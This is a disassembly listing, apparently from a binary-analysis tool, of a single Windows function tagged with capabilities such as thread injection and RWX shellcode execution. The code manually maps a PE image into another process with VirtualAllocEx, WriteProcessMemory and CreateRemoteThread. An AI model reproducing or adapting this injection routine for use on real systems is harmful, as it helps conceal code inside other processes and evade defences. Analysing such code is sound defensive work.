Function at 0x45b690
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [0x508040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0x20]
mov ebx, edx
push edi
mov eax, 0x5a4d
mov edi, ecx
mov dword [ebp - 8], edi
cmp word [ebx], ax
jne 0x45bb74
mov eax, dword [ebx + 0x3c]
mov ecx, 0x14c
add eax, ebx
mov dword [ebp - 0x54], eax
cmp word [eax + 4], cx
jne 0x45bb74
push 4
push 0x3000
push dword [eax + 0x50]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x50], eax
test eax, eax
je 0x45bb74
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], 0
push ecx
mov ecx, dword [ebp - 0x54]
push 0x40
push dword [ecx + 0x50]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x50]
push 0
push 0x1000
push ebx
mov dword [ebp - 0x30], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ecx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0x1c]
push edi
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x45bb63
mov eax, dword [ebp - 0x54]
xor edi, edi
movzx esi, word [eax + 0x14]
add esi, 0x2c
cmp word [eax + 6], di
je 0x45b79a
add esi, eax
mov eax, dword [esi - 4]
test eax, eax
je 0x45b78b
push 0
push eax
mov eax, dword [esi]
add eax, ebx
push eax
mov eax, dword [esi - 8]
add eax, dword [ebp - 0x50]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x45bb60
mov eax, dword [ebp - 0x54]
inc edi
add esi, 0x28
movzx eax, word [eax + 6]
cmp edi, eax
jne 0x45b764
mov edi, dword [ebp - 8]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 4
push 0x3000
push 0x1c
push 0
push edi
call esi
mov ebx, eax
mov dword [ebp - 0x58], ebx
test ebx, ebx
je 0x45bb63
push 0
push 0x1c
lea eax, [ebp - 0x30]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x45bb2f
push 0x40
push 0x3000
push 0x1000
push 0
push edi
call esi
mov esi, eax
mov dword [ebp - 0x5c], esi
test esi, esi
je 0x45bb2f
push 0
push 0x1000
push 0x45bb90
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x45baf1
push 0
push 0
push ebx
push esi
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x45baf1
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
nop dword [eax]
mov esi, dword [ebp - 8]
lea eax, [ebp - 0xc]
push eax
push esi
mov dword [ebp - 0xc], 0
call edi
cmp dword [ebp - 0xc], 0x103
jne 0x45bb74
push 0
push 0x1c
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x34], 0
push eax
push dword [ebp - 0x58]
xorps xmm0, xmm0
push esi
movups xmmword [ebp - 0x4c], xmm0
movq qword [ebp - 0x3c], xmm0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov esi, dword [ebp - 0x40]
cmp esi, 0x404040
je 0x45baae
push 0xa
call ebx
test esi, esi
je 0x45b840
push 0x1400000
call fcn.004bf410
mov ebx, eax
add esp, 4
mov dword [ebp - 0xc], ebx
test ebx, ebx
je 0x45bb74
push 0x1400000
push 0
push ebx
call fcn.004b25e0
add esp, 0xc
cmp byte [ebp + 0xc], 0
je 0x45b8e1
push 0
push 0x1000
push ebx
push dword [ebp - 0x50]
mov ebx, dword [ebp - 8]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x45b8e4
mov ebx, dword [ebp - 8]
cmp byte [ebp + 0x10], 0
mov edi, dword [ebp - 0x54]
je 0x45b9d6
movzx eax, word [edi + 0x14]
lea esi, [edi + 0x18]
xor ecx, ecx
add esi, eax
mov dword [ebp - 8], ecx
cmp word [edi + 6], cx
je 0x45b9d6
nop dword [eax]
cmp dword [esi + 8], 0
je 0x45b9c3
mov ecx, str..pdata
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x45b941
test dl, dl
je 0x45b93d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x45b941
add eax, 2
add ecx, 2
test dl, dl
jne 0x45b921
xor eax, eax
jmp 0x45b946
sbb eax, eax
or eax, 1
test eax, eax
je 0x45b9aa
mov ecx, str..rsrc
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x45b971
test dl, dl
je 0x45b96d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x45b971
add eax, 2
add ecx, 2
test dl, dl
jne 0x45b951
xor eax, eax
jmp 0x45b976
sbb eax, eax
or eax, 1
test eax, eax
je 0x45b9aa
mov ecx, str..reloc
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x45b9a1
test dl, dl
je 0x45b99d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x45b9a1
add eax, 2
add ecx, 2
test dl, dl
jne 0x45b981
xor eax, eax
jmp 0x45b9a6
sbb eax, eax
or eax, 1
test eax, eax
jne 0x45b9c0
mov eax, dword [esi + 0xc]
add eax, dword [ebp - 0x50]
push 0
push dword [esi + 8]
push dword [ebp - 0xc]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 8]
movzx eax, word [edi + 6]
inc ecx
add esi, 0x28
mov dword [ebp - 8], ecx
cmp ecx, eax
jne 0x45b910
cmp byte [ebp + 0x14], 0
je 0x45ba68
movzx esi, word [edi + 0x14]
mov ecx, dword [ebp - 0x54]
add esi, edi
xor edi, edi
cmp word [ecx + 6], di
je 0x45ba49
add esi, 0x3c
mov edx, dword [esi - 0x1c]
test edx, edx
je 0x45ba3d
mov ecx, dword [esi]
mov eax, 2
mov dword [ebp - 8], 0
test ecx, 0x80000000
jbe 0x45ba18
mov eax, 4
jmp 0x45ba26
test ecx, 0x20000000
mov ecx, 0x20
cmova eax, ecx
lea ecx, [ebp - 8]
push ecx
push eax
mov eax, dword [esi - 0x18]
add eax, dword [ebp - 0x50]
push edx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov ecx, dword [ebp - 0x54]
movzx eax, word [ecx + 6]
inc edi
add esi, 0x28
cmp edi, eax
jne 0x45b9f4
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
movzx eax, word [ecx + 0x14]
push 2
push dword [eax + ecx + 0x24]
push dword [ebp - 0x50]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov esi, dword [ebp - 0x5c]
push 0
push 0x1000
push dword [ebp - 0xc]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0x8000
push 0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push ebx
call esi
push 0x8000
push 0
push dword [ebp - 0x58]
push ebx
call esi
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004af2b0
mov esp, ebp
pop ebp
ret
mov ebx, dword [ebp - 8]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push dword [ebp - 0x50]
push ebx
call esi
push 0x8000
push 0
push dword [ebp - 0x58]
push ebx
call esi
push 0x8000
push 0
push dword [ebp - 0x5c]
push ebx
call esi
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004af2b0
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push dword [ebp - 0x50]
push edi
call esi
push 0x8000
push 0
push ebx
push edi
call esi
push 0x8000
push 0
push dword [ebp - 0x5c]
push edi
call esi
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004af2b0
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push dword [ebp - 0x50]
push edi
call esi
push 0x8000
push 0
push ebx
push edi
call esi
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004af2b0
mov esp, ebp
pop ebp
ret
mov edi, dword [ebp - 8]
push 0x8000
push 0
push dword [ebp - 0x50]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004af2b0
mov esp, ebp
pop ebp
ret